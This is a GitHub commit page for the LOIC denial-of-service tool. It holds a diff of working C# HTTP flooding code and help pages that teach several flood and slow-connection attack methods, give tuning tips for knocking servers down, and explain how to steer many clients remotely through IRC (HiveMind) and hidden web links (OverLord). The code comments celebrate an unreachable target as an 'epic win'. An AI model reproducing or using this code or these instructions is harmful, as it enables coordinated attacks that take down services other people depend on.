Permalink
Browse files

RC 1.1.2.0 Beta - Version 1.1.2.2

  • Loading branch information...
1 parent deb277f commit 0983c163aa3f2bbc8141d017a556b66e852de572 @BeSquare BeSquare committed Nov 4, 2010
View
115 HTTPFlooder.cs
@@ -1,106 +1,101 @@
using System;
using System.ComponentModel;
-using System.Net;
using System.Net.Sockets;
-using System.Text;
namespace LOIC
-{
- public class HTTPFlooder
+{
+ public class HTTPFlooder : cHLDos
{
- public ReqState State = ReqState.Ready;
-
- public int Downloaded { get; set; }
- public int Requested { get; set; }
- public int Failed { get; set; }
-
- public bool IsFlooding { get; set; }
public string IP { get; set; }
+ public string DNS { get; set; }
public int Port { get; set; }
public string Subsite { get; set; }
- public int Delay { get; set; }
- public int Timeout { get; set; }
public bool Resp { get; set; }
- private System.Windows.Forms.Timer tTimepoll = new System.Windows.Forms.Timer();
- private long LastAction;
- private Random rnd = new Random();
+ private Random rnd = new Random();
private bool random;
- public enum ReqState { Ready, Connecting, Requesting, Downloading, Completed, Failed };
+ private bool usegZip;
- public HTTPFlooder(string ip, int port, string subSite, bool resp, int delay, int timeout, bool random)
+ public HTTPFlooder(string dns, string ip, int port, string subSite, bool resp, int delay, int timeout, bool random, bool usegzip)
{
+ this.IsDelayed = false;
+ this.DNS = (dns == "") ? ip : dns;
this.IP = ip;
this.Port = port;
this.Subsite = subSite;
this.Resp = resp;
this.Delay = delay;
- this.Timeout = timeout;
+ this.Timeout = timeout * 1000;
this.random = random;
+ this.usegZip = usegzip;
}
- public void Start()
+ public override void start()
{
- IsFlooding = true; LastAction = Tick();
-
- tTimepoll = new System.Windows.Forms.Timer();
- tTimepoll.Tick += new EventHandler(tTimepoll_Tick);
- tTimepoll.Start();
-
+ IsDelayed = false;
+ IsFlooding = true;
var bw = new BackgroundWorker();
bw.DoWork += new DoWorkEventHandler(bw_DoWork);
bw.RunWorkerAsync();
}
- void tTimepoll_Tick(object sender, EventArgs e)
- {
- if (Tick() > LastAction + Timeout)
- {
- Failed++; State = ReqState.Failed;
- tTimepoll.Stop();
- if (IsFlooding)
- {
- tTimepoll.Start();
- }
- }
- }
+
private void bw_DoWork(object sender, DoWorkEventArgs e)
{
try
{
+ int bfsize = 1024; // this should be less than the MTU
byte[] buf;
if (random == true)
{
- buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.0{2}{2}{2}", Subsite, new Functions().RandomString(), Environment.NewLine));
+ buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{2}Host: {3}{2}User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0){2}{4}{2}", Subsite, new Functions().RandomString(), Environment.NewLine, DNS, ((usegZip) ? ("Accept-Encoding: gzip,deflate" + Environment.NewLine): "")));
}
else
{
- buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0} HTTP/1.0{1}{1}{1}", Subsite, Environment.NewLine));
+ buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0} HTTP/1.1{1}Host: {2}{1}User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0){1}{3}{1}", Subsite, Environment.NewLine, DNS, ((usegZip) ? ("Accept-Encoding: gzip,deflate" + Environment.NewLine): "")));
}
- var host = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
- while (IsFlooding)
+
+ byte[] recvBuf = new byte[bfsize];
+ int recvd = 0;
+ while (IsFlooding)
{
State = ReqState.Ready; // SET STATE TO READY //
- LastAction = Tick();
- byte[] recvBuf = new byte[64];
- var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- State = ReqState.Connecting; // SET STATE TO CONNECTING //
- socket.Connect(host);
- socket.Blocking = Resp;
- State = ReqState.Requesting; // SET STATE TO REQUESTING //
- socket.Send(buf, SocketFlags.None);
- State = ReqState.Downloading; Requested++; // SET STATE TO DOWNLOADING // REQUESTED++
- if (Resp) socket.Receive(recvBuf, 64, SocketFlags.None);
- State = ReqState.Completed; Downloaded++; // SET STATE TO COMPLETED // DOWNLOADED++
- tTimepoll.Stop();
- tTimepoll.Start();
- if (Delay >= 0) System.Threading.Thread.Sleep(Delay+1);
+ try
+ {
+ var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
+ State = ReqState.Connecting; // SET STATE TO CONNECTING //
+ socket.Connect(((IP == "") ? DNS : IP), Port); //(host)
+ socket.Blocking = Resp;
+ State = ReqState.Requesting; // SET STATE TO REQUESTING //
+ socket.ReceiveTimeout = Timeout;
+ socket.Send(buf, SocketFlags.None);
+ State = ReqState.Downloading; Requested++; // SET STATE TO DOWNLOADING // REQUESTED++
+ if (Resp)
+ {
+ try
+ {
+ recvd = 0;
+ do
+ {
+ recvd = socket.Receive(recvBuf);
+ } while ((recvd > bfsize) && socket.Connected);
+ Downloaded++;
+ }
+ catch
+ { // timeout reached - epic win?
+ Failed++;
+ }
+ }
+ socket.Close(); // let's close the socket - there are other methods for socket-starving!
+ State = ReqState.Completed; // SET STATE TO COMPLETED
+ }
+ catch
+ { // host unreachable == epic win!
+ Failed++;
+ }
+ if (Delay > 0) System.Threading.Thread.Sleep(Delay);
}
}
catch { }
finally { IsFlooding = false; }
}
- private static long Tick()
- {
- return DateTime.Now.Ticks / 10000;
- }
}
}
View
BIN Help/HTML/LOIC.gif
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
View
29 Help/HTML/about.html
@@ -0,0 +1,29 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>LOIC's NewFag Help</title>
+<link rel="stylesheet" href="loic.css" type="text/css" />
+</head>
+<body class="intro">
+<div class="header">About LOIC</div>
+<h2>Purpose</h2>
+<p>LOIC is a network stress testing tool for simulating and testing peaks on various services.<br />
+It is meant only for testing how <u>your</u> servers cope with many requests and under heavy load and how your server does respond to several (D)DOS ((Distributed) Denial Of Service - Attacks).<br />
+Nevertheless it is assumed, that you own the servers you are testing!</p>
+<h2>License</h2>
+<p>Public Domain - Feel free to do what ever you want with this.</p>
+<h2>History</h2>
+<p>The first known to mankind version of LOIc was created by <a href="http://sourceforge.net/projects/loic/" target="_blank">Praetox on SF</a><br />
+<a href="http://github.com/NewEraCracker/LOIC/" target="_blank">NewEraCracker</a> adopted it and added HiveMind to it and made some bugfixes / adoptions to the original source.<br />
+After version 1.1.1.9 <a href="http://github.com/BeSquare/LOIC/downloads" target="_blank">BeSquare</a> joined in and made some contributions.</p>
+<h2>Found a Bug? - Can has Feature? - This Help suckx?</h2>
+<p>Feature-requests should be made in <a href="https://github.com/NewEraCracker/LOIC/issues" target="_blank">NewEraCracker's Tracker</a><br />
+Bugs in the Beta (ONLY the BETA!) or this Help can also reported at <a href="https://github.com/BeSquare/LOIC/issues" target="_blank">BeSquare's Fork</a><br />
+plz don't aks for SYN-Flooder! - that simply does NOT work on Windows!</p>
+<h2>Disclaimer</h2>
+<p><b><u>This tool is released for educational purposes only and comes with no warranty at all.</u></b><br />
+None of the authors or contributors can be held responsible for any action taken by the users of this tool!</p>
+<br />
+</body>
+</html>
View
28 Help/HTML/hivemind.html
@@ -0,0 +1,28 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>LOIC's NewFag Help</title>
+<link rel="stylesheet" href="loic.css" type="text/css" />
+</head>
+<body>
+<div class="header">HiveMind - the IRC-LOIC</div>
+<p>Someone made you an op and now you are interested how to exploit your PA? (OMFG how did z happen?)</p>
+<h2>EZ Grab</h2>
+<p>Just fill out your attack-options .. run a short test and hit <b>F10</b>! paste that in the topic - done!</p>
+<h2>boring Nerd-Stuff</h2>
+<p>First of all you need to have op-rights in the channel ... otherwise nobody listens to you directly .. at least you have to be able to change the topic.<br />
+<br />
+Each command has to start with <i>!lazor</i>. If you want the attack to start append <i>start</i> to it .. <i>stop</i> to end the attack.<br />
+<i>default</i> set's the default values - use default as the the first command right after "!lazor" otherwise you end up resetting your own commands.<br />
+The commands available are:
+<i>targetip=</i> leave this as is (blank) unless you want to target a specific IP!<br />
+<i>targethost=</i>, <i>timeout=</i> (in seconds for 1.1.2.0+ // in milliseconds for 1.1.1.9 and previous versions!)<br />
+<i>subsite=</i>, <i>message=</i> both need to <u>be URL-encoded</u><br />
+<i>port=</i>, <i>method=</i> {TCP|UDP|HTTP|ReCoil|slowLOIC}, <i>threads=</i>, <i>speed=</i> {0..50}<br />
+<i>wait=</i>, <i>random=</i>, <i>useget=</i>, <i>usegzip=</i> all {true|false}</p>
+<h2>Tip</h2>
+<p>For backwards compability specify the ReCoil and SlowLOIC attack as follows: <i>method=TCP method=ReCoil</i><br />
+Due to the change of the timeout it might be best to go with the default values!</p>
+</body>
+</html>
View
21 Help/HTML/http.html
@@ -0,0 +1,21 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>LOIC's NewFag Help</title>
+<link rel="stylesheet" href="loic.css" type="text/css" />
+</head>
+<body>
+<div class="header">HTTP Attack</div>
+<p>The HTTP-Attack can be used as a bandwidth reaper or for massdemanding (dynamic) content.</p>
+<h2>Options</h2>
+<p>In the <b>"subsite"</b> you can specify the page to request.<br />
+If <b>"Append random chars"</b> is checked, 6 random characters are added at the end of the subsite. (usefull with dynamic pages and get-parameters)<br />
+If <b>"Wait for reply"</b> is checked, the complete document will be downloaded.<br />
+If it is unchecked, the page is only requested but not (completely) read. However the server starts to send the document until your receivebuffer is full. This option is especially intereseting for noncached dynamic pages where the processing time is more valuable than the used bandwidth.<br />
+In the <b>"Timeout"</b> field you set the read timeout in seconds. This is only important if "Wait for reply" is checked.</p>
+<h2>Remarks</h2>
+<p>"Failed" counts the unsuccessful connection attempts to the target. If <b>"Wait for reply"</b> is checked, "Failed" is also increased, if the target took longer than the time specified in "Timeout" to deliver the page.<br />
+</p>
+</body>
+</html>
View
24 Help/HTML/index.html
@@ -0,0 +1,24 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>LOIC's NewFag Help</title>
+<link rel="stylesheet" href="loic.css" type="text/css" />
+</head>
+<body class="intro">
+<div class="header">LOIC</div>
+<p>If you don't understand the meanings of the options you probably should <u>NOT</u> use this tool <u>OR</u> check the <a href="newfag.html">Quick-Connect Guide</a>!<br />
+Besides the obvious and topics covered in the other sections there are however some things to point out:</p>
+<h3>The Target</h3>
+<p>Unless you know exactly what you are doing, you should use the <b>"URL"</b> field with the DNS of the server.<br />
+In 99.99% you do NOT want to target the IP!<br />
+Whatever you do - hit <b>"Lock ON"</b> BEFORE you start.</p>
+<h3>Attack Options</h3>
+<p>Choose an attack method from the pulldown and see which fields get enabled.<br />
+You can change the speed slider on the right <u>during</u> the attack.<br />
+If you use ReCoil or slowLOIC you can change the amount of threads during the attack as well.</p>
+<h2>The attack Status</h2>
+<p>The interesting value here is <b><i>"Failed"</i></b>! If this goes up you are doing it epically wrong (o.O) or <b>your target is DOWN == EPIC WIN!</b></p>
+<br />
+</body>
+</html>
View
52 Help/HTML/loic.css
@@ -0,0 +1,52 @@
+* {
+ margin: 0;
+ padding: 0;
+}
+
+html {
+ font-size: 100%;
+}
+
+body {
+ font-family: Arial;
+ color: LightBlue;
+ background-color: #0C1820;
+ font-size: 72%; /* This sets the default font size to be equivalent to 10px */
+ margin: 15px 15px;
+}
+
+.intro {
+ background-image: url(LOIC.gif);
+ background-repeat: no-repeat;
+ background-position: left top;
+ background-attachment: fixed;
+ margin: 15px 15px 15px 200px;
+}
+
+.header {
+ padding: 20px 20px 20px 40px;
+ font-size: 3em;
+ font-weight: bold;
+ color: Azure;
+}
+
+p {
+ margin: 10px 0px 20px 0px;
+ font-size: 1.2 em;
+}
+
+b, i {
+ color: Azure;
+}
+
+a {
+ color: Orange;
+}
+
+h1 {
+ font-size: 2em;
+}
+
+h2 {
+ font-size: 1.8em;
+}
View
25 Help/HTML/newfag.html
@@ -0,0 +1,25 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>LOIC's NewFag Help</title>
+<link rel="stylesheet" href="loic.css" type="text/css" />
+</head>
+<body>
+<div class="header">How to Laz0r for Newfags</div>
+<h3>Hello comrade!</h3>
+<p>You have decided to provide your Laz0r to an OP for great justice and more lulz.<br />
+Because you are a newfag the ubertrollz in the missioncontrol provided you with either an IRC-address or an URL to hand your helm over to the HiveMind.</p>
+<h2>Connect to the HiveMind IRC</h2>
+<p>Put the address of the irc-server in the field labeled with "IRC server" at the top.<br />
+In most cases you don't need to change the standard port or the channel.
+Select <b>"FUCKING HIVE MIND"</b> and you are done!<br /><br />
+Right to the irc-options is the current status of your HiveMind connection, if it says <i>"Controlled by topic"</i>, <i>"Waiting"</i> or <i>"Connected"</i> you are all set.</p>
+<h2>Use OverLord</h2>
+<p>If your OP has no IRC-Channel or gets constantly b& and is moving a lot, MC will most likely provide you with an URL for OverLord.
+Put this URL in the field under the IRC server right next to <b>"Damn OverLord"</b>. Hopefully the ubertrollz told you if you should check "Up?" or not - if not leave it as is. In the field "Interval:" you can specify (in minutes) how often this is rechecked.<br /><br />
+If the status on the right says: <i>"Done! Waiting for next Update.."</i> you are all set!</p>
+<br />
+<p>Please check out the <a href="switches.html">switches section</a> and the <a href="index.html">basic GUI explanation</a>.
+</body>
+</html>
View
91 Help/HTML/overlord.html
@@ -0,0 +1,91 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>LOIC's NewFag Help</title>
+<link rel="stylesheet" href="loic.css" type="text/css" />
+</head>
+<body>
+<div class="header">OverLord - the WEB-LOIC</div>
+<p>OverLord encodes the commands in Hyperlinks. You can place your commands virtually on any place in the internet. You can use Twitter, Facebook, any Forum / Message-Board / Blog or what so ever.<br />
+It is fully compatible with all common URL-shorteners and works with any header-redirector (the Location-Header is processed).<br />
+Most services give you the possibility to change the URL if you have signed up - this gives you the possibility to hand out one single link and control your PA by changing that link for new commands. In addition most services provide you with some "click-stats" which should give you an estimation of the size of your PA. (though not that exact .. there might be actual browsers trying to follow these links xD)<br />
+In addition OverLord lets you announce new HiveMind-IRC-Servers and even set countdowns for raids!<br />
+The countdown option let's you even set a time and give your fellow Anons time to report in WITHOUT revealing the target. the given URL is rechecked directly before the attack was scheduled to start, so that you set the actual target right before the attack starts by changing the command in the URL.<br />
+Besides command links OverLord supports backup-mirrors (as many as you want) - these mirrors can point to other mirros or contain target-links and so on.</p>
+<h2>EZ Grab</h2>
+<p>Just fill out your attack-options .. run a short test and hit <b>F10</b>!<br />
+You can use any URL shortener you like or just choose one of the given services and click <b>"Make tiny"</b></p>
+<h2>boring Nerd-Stuff</h2>
+<p>All commands which are <u>not</u> set will be set to default automatically on the client!</p>
+<p>There are 3 Methods:<br />
+<br />
+<u>I. Plain-Text Links</u>: can ONLY specify TARGETS<br />
+<i>LOIC: {OL-URI}</i></p>
+<p><u>II: a-href Links:</u><br />
+<u>II.a: Back-Up Mirrors</u> - they contain no target information and point to sites, where target are posted.<br />
+<i>class="LO bu" href="{URI}"</i> - read diretion top to bottom<br />
+<i>class="LO bu r" href="{URI}"</i> - read direcion bottom to top<br />
+<br />
+The read direction depends on the site: e.g. for twitter, where the newest post is on the top, you want to scan the site top-to-bottom for targets.<br />
+On Blogs / Boards where the newest posts are at the bottom, you want to scan in the reverse direction.<br />
+<br />
+In the GUI the checkbox "Up?" scans top-to-bottom if checked and reverse otherwise.<br />
+<br />
+The scan stops at the first encountered target and uses this as the current target - all BackUp Mirrors up to this point are stored. (mirrors after the 1st target in read-direction are ignored)<br />
+<br />
+<u>II.b: Target-Links</u><br />
+<i>class="LO tar" href="{OL-URI}"</i></p>
+<p>III. Plain Text instruction <u>(this is depreciated)</u>
+<i>[LOIC]<br />
+{command}:{value}<br />
+{command}:{value}<br />
+...<br />
+[/LOIC]</i><br />
+<br />
+If there is a "lot" of html-code merged into the text it is best to use the "@"-Delimeter:<br />
+<i>[LOIC]@{command}:{value}@&lt;html goes here&tt;@{command}:{value}@......[/LOIC]</i></p>
+<p><u>The URI-Syntax for Targets:</u><br />
+<i>{OL-URI} = {URI}@{command}={value}@{single_sign}@{command}={value}@...</i><br />
+<u>IT IS HIGHLY RECOMMENDED TO USE URL-SHORTENER FOR THE TARGET-COMMANDS!!</u></p>
+<p><u>Commands:</u><br />
+(there are 2 new commands - the others are the same as on IRC)<br />
+<br />
+<i>targetip, targethost, timeout, subsite, message, port, method, threads, wait, random, speed, sockspthread, useget, usegzip</i><br />
+<br />
+<i>hivemind</i> - let's you set an Hive-Mind-Server over OverLord: <i>@hivemind=irc.cooldomin.heros:6667#hivemind@</i><br />
+If this command is used the control is immediately transferred to the HiveMind! (aka: OverLord STOPS working!) Therefor the hivemind command is best used alone <u>without other commands</u>.<br />
+<br />
+<i>time</i> - you can set a timer for the beginning of the fun: <i>@time=YYYY/MM/DD HH:mm@</i> (time-zone is <b>UTC</b> for the time - the time-zone-correction is done by the client according to the system-settings and time!)<br />
+If a time command is issued the current attack stops and the Lazor waits until the time is reached. The target-information is updated once again EXACTLY at the beginning of the attack.<br />
+Using this it is possible, to set a time for all "connected" lazors WITHOUT revealing the target:<br />
+1. <i>http://hive.mind/go.hp?@time=2010/05/23 15:00@</i><br />
+at 14:55 (UTC) you just change the Link to: <i>http://hive.mind/go.hp?@time=2010/05/23 15:00@&@targetip=127.0.0.1@</i></p>
+<h3>... enough with the crap - a real world example:</h3>
+<p>On site http://main.com is the command center where you don't want to post target-information:<br />
+put somewhere on your site (in a .php / .txt / .html / .js or whatever file you have) the Back-Up-Mirrors for your OP:<br />
+<br />
+&lt;a class=&quot;LO bu&quot; href=&quot;http://somefree-hoster.com/url/yourbackup&quot;&gt;&amp;nbsp&lt;/a&gt;<br />
+&lt;a class=&quot;LO bu&quot; href=&quot;http://twitter.com/account&quot;&gt;&amp;nbsp&lt;/a&gt;<br />
+&lt;a class=&quot;LO bu r&quot; href=&quot;http://xyx.chan.com/b/1234&quot;&gt;&amp;nbsp&lt;/a&gt;<br />
+&lt;a class=&quot;LO bu&quot; href=&quot;http://bit.ly&quot;&gt;&amp;nbsp&lt;/a&gt;<br />
+<br />
+As soon as one mirror fails the next is taken - the mirrors are accumulated at the client - so you can change them or add more atfer the majority of the nodes have read them once. Back-Up-Mirrors are only removed from the client, if one seems to be offline. (the effects of the Stress-Test on the client machine is (to some degree) mitigated!)<br />
+<br />
+it might be a good idea, to hide the &quot;LO&quot;-Class with a (inline-) CSS or put it into any hidden container ... or just leave as is.<br />
+<br /></p>
+<h2><u>ATTENTION: Backup Mirrors + Targets in one Page!</u></h2>
+<p>Pay attention to the scan-direction! If you read top-to-bottom (Up? = checked in the GUI) you HAVE TO PUT your mirrors BEFORE the first target-link!<br />
+If you scan reverse you have to put the mirrors BELOW the target!<br />
+<br />
+<u>example: Scanning REVERSE + Mixed-Mode</u><br />
+&lt;html-code&gt;<br />
+&lt;p&gt;your very long paragraph LOIC: http://bit.ly/abcde your paragraph contniues on for hours&lt;/p&gt;<br />
+&lt;more html&gt;<br />
+&lt;a style=&quot;display:none&quot; class=&quot;LO bu&quot; href=&quot;http://bit.ly&quot;&gt;&amp;nbsp&lt;/a&gt;<br />
+&lt;footer-stuff&gt;</p>
+<h2>Tip</h2>
+<p>For backwards compability specify the ReCoil and SlowLOIC attack as follows: <i>@method=TCP@&@method=ReCoil@</i><br />
+Due to the change of the timeout it might be best to go with the default values!</p>
+</body>
+</html>
View
36 Help/HTML/recoil.html
@@ -0,0 +1,36 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>LOIC's NewFag Help</title>
+<link rel="stylesheet" href="loic.css" type="text/css" />
+</head>
+<body>
+<div class="header">ReCoil Attack</div>
+<p>The ReCoil attack focuses on keeping the connections alive as long as possible, but it is <u>not</u> the same as <a href="slowloic.html">SlowLoris</a>. It is more like a "reverse" DOS-attack.</p>
+<p>A fully legimit request is made but the download-speed is slowed down to nearly 0 by reading just enough from the network to keep the socket alive.<br />
+The attack itself produces <u>NO</u> errors - there are just a bunch of HTTP 200 in the access logs. If the server runs out of available ressources and goes down, there might be an system error entry.<br />
+Especially all servers, that are vulnerable to SlowLoris, are vulnerable to this attack. ReCoil however is not as "easy" mitigated as SlowLoris. Think of it as a bunch of mobile devices requesting a page just before driving through a tunnel.</p>
+<h2>Prerequisite</h2>
+<p>Due to the nature of the attack the requested site has to be at least 24kb (better larger).<br />
+The exact minimum filesize depends on the network buffer space of the attacking system. For most 10/100 connections around 24KB should work, while on gigabit connections filesizes beyond 64KB are needed.<br />
+NOTE: Your LOCAL link speed is the essential key not your internet speed! (meaning if you have a 1MBit internet connection and you are have a 1 gigabit link to your modem / router, you are pretty much screwed! --> target pdfs or big stuff like that!)</p>
+<h2>Options</h2>
+<p>In the <b>"subsite"</b> you can specify the page to request. (keep the size in mind and do a bit scouting!)<br />
+If <b>"Append random chars"</b> is checked, 6 random characters are added at the end of the subsite. (usefull with dynamic pages and get-parameters)<br />
+If <b>"Wait for reply"</b> is checked, ReCoil follows Header redirects and discards early documents, which are smaller than 16KB. (Only apply this if needed)<br />
+The <b>"Timeout"</b> field is for the wait time in seconds between reading from each socket. This must be less than the write timeout on the target side.<br />
+The amount of worker <b>"threads"</b> can be changed during the attack at any time. This value should be initially lower than the maximum allowed half-open connections.<br />
+To consume even more memory you can additionaly check the <b>"use gZip"</b> - but remember the resulting document has to be of reasonable size!<br />
+In the <b>"Sockets / Thread"</b> field you can define the number of connections per thread. (this number should <u>not</u> be insanely high - if you go over 100 it might be better to increase the amount of threads!)<br />
+the speed-slider sets just the delay between the creation of sockets.</p>
+<h2>Remarks</h2>
+<p>The "requested" value shows the amount of currently connected sockets. <br />
+If no thread is in the "Connecting" state you should increase the number of threads - if all your threads or most of them are connecting you should lower the amount of threads.<br />
+"Failed" counts the connections which were reset by the server. If "Wait for reply" is checked it also counts the unsuccessful attempts which are early discarded.<br />
+If "failed" goes up too fast you are doing it <b><u>WRONG!</u></b></p>
+<h2>Tip</h2>
+<p>If you target a system which is not vulnerable to this attack you can always go for port-starving!<br />
+Just use up all max possible 64K connections and you are done! (running 16 clients with 5.000 connections each should do the trick!)</p>
+</body>
+</html>
View
29 Help/HTML/slowloic.html
@@ -0,0 +1,29 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>LOIC's NewFag Help</title>
+<link rel="stylesheet" href="loic.css" type="text/css" />
+</head>
+<body>
+<div class="header">SlowLOIC Attack</div>
+<p>SlowLoris (originally by RSnake) keeps the connections alive as long as possible by sending partial headers but nether completing the request.</p>
+<h2>Options</h2>
+<p>In the <b>"subsite"</b> you can specify the page to request.<br />
+If <b>"Append random chars"</b> is checked, 6 random characters are added at the end of the subsite. (usefull with dynamic pages and get-parameters)<br />
+The <b>"Timeout"</b> field is for the wait time in seconds between sending a new part of the header. This must be less than the read timeout on the target side.<br />
+The amount of worker <b>"threads"</b> can be changed during the attack at any time. This value should be initially lower than the maximum allowed half-open connections.<br />
+Check <b>"use gZip"</b> to check for CEV-2009-1891.<br />
+Check <b>"use GET"</b> to use the GET-command instead of POST. (mods like http-ready mitigate GET-attacks)<br />
+In the <b>"Sockets / Thread"</b> field you can define the number of connections per thread. (this number should <u>not</u> be insanely high - if you go over 100 it might be better to increase the amount of threads!)<br />
+the speed-slider sets just the delay between the creation of sockets.</p>
+<h2>Remarks</h2>
+<p>The "requested" value shows the amount of currently connected sockets. <br />
+If no thread is in the "Connecting" state you should increase the number of threads - if all your threads or most of them are connecting you should lower the amount of threads.<br />
+"Failed" counts the connections which were reset by the server.<br />
+If "failed" goes up too fast you are doing it <b><u>WRONG!</u></b></p>
+<h2>Tip</h2>
+<p>If you target a system which is not vulnerable to this attack you can always go for port-starving!<br />
+Just use up all max possible 64K connections and you are done! (running 16 clients with 5.000 connections each should do the trick!)</p>
+</body>
+</html>
View
15 Help/HTML/switches.html
@@ -0,0 +1,15 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>LOIC's NewFag Help</title>
+<link rel="stylesheet" href="loic.css" type="text/css" />
+</head>
+<body class="intro">
+<div class="header">Commandline Switches</div>
+<p><i>/hidden</i> - makes no sense without hivemind as well!<br />
+<i>/hivemind irc.server.address 1234 #secret</i></p>
+<h3>Tips</h3>
+<p>maybe there comes more!?</p>
+</body>
+</html>
View
22 Help/HTML/tcp.html
@@ -0,0 +1,22 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>LOIC's NewFag Help</title>
+<link rel="stylesheet" href="loic.css" type="text/css" />
+</head>
+<body>
+<div class="header">TCP / UDP Attack</div>
+<p>The TCP / UDP method is a packet flooder. It is NOT a SYN-Flooder!!</p>
+<h2>Options</h2>
+<p>In the <b>"message"</b> you can set some payload to send to the targeted service.<br />
+If you need the newline chars, you can use \\r and \\n to construct the desired command / message.<br />
+If <b>"Append random chars"</b> is checked, 6 random characters are added at the end of the message.<br />
+<br />
+<b>"Wait for reply"</b> waits until the packet is completely send. (you may want to check this on slower connections!)
+</p>
+<h2>Remarks</h2>
+<p>"Failed" counts the unsuccessful connection attempts to the target.<br />
+In most cases 10 threads is more than enough and should use all available upload-bandwidth, however with the speed-slider you can adjust this.</p>
+</body>
+</html>
View
9 Help/Index.hhk
@@ -0,0 +1,9 @@
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
+<HTML>
+<HEAD>
+<meta name="GENERATOR" content="Microsoft&reg; HTML Help Workshop 4.1">
+<!-- Sitemap 1.0 -->
+</HEAD><BODY>
+<UL>
+</UL>
+</BODY></HTML>
View
63 Help/Table of Contents.hhc
@@ -0,0 +1,63 @@
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
+<HTML>
+<HEAD>
+<meta name="GENERATOR" content="Microsoft&reg; HTML Help Workshop 4.1">
+<!-- Sitemap 1.0 -->
+</HEAD><BODY>
+<OBJECT type="text/site properties">
+ <param name="Window Styles" value="0x800025">
+ <param name="ImageType" value="Folder">
+</OBJECT>
+<UL>
+ <LI> <OBJECT type="text/sitemap">
+ <param name="Name" value="Index">
+ <param name="Local" value="HTML\index.html">
+ </OBJECT>
+ <LI> <OBJECT type="text/sitemap">
+ <param name="Name" value="Quick Connect Guide">
+ <param name="Local" value="HTML\newfag.html">
+ </OBJECT>
+ <LI> <OBJECT type="text/sitemap">
+ <param name="Name" value="Switches">
+ <param name="Local" value="HTML\switches.html">
+ </OBJECT>
+ <LI> <OBJECT type="text/sitemap">
+ <param name="Name" value="Controlling LOIC">
+ </OBJECT>
+ <UL>
+ <LI> <OBJECT type="text/sitemap">
+ <param name="Name" value="HiveMind">
+ <param name="Local" value="HTML\hivemind.html">
+ </OBJECT>
+ <LI> <OBJECT type="text/sitemap">
+ <param name="Name" value="OverLord">
+ <param name="Local" value="HTML\overlord.html">
+ </OBJECT>
+ </UL>
+ <LI> <OBJECT type="text/sitemap">
+ <param name="Name" value="Attack Methods">
+ </OBJECT>
+ <UL>
+ <LI> <OBJECT type="text/sitemap">
+ <param name="Name" value="TCP / UDP">
+ <param name="Local" value="HTML\tcp.html">
+ </OBJECT>
+ <LI> <OBJECT type="text/sitemap">
+ <param name="Name" value="HTTP">
+ <param name="Local" value="HTML\http.html">
+ </OBJECT>
+ <LI> <OBJECT type="text/sitemap">
+ <param name="Name" value="ReCoil">
+ <param name="Local" value="HTML\recoil.html">
+ </OBJECT>
+ <LI> <OBJECT type="text/sitemap">
+ <param name="Name" value="slowLOIC">
+ <param name="Local" value="HTML\slowloic.html">
+ </OBJECT>
+ </UL>
+ <LI> <OBJECT type="text/sitemap">
+ <param name="Name" value="About">
+ <param name="Local" value="HTML\about.html">
+ </OBJECT>
+</UL>
+</BODY></HTML>
View
BIN Help/loichlp.chm
Binary file not shown.
View
33 Help/loichlp.hhp
@@ -0,0 +1,33 @@
+[OPTIONS]
+Auto Index=Yes
+Compatibility=1.1 or later
+Compiled file=loichlp.chm
+Contents file=Table of Contents.hhc
+Default Font=Arial,10,0
+Default Window=NewFag
+Default topic=HTML\index.html
+Display compile progress=No
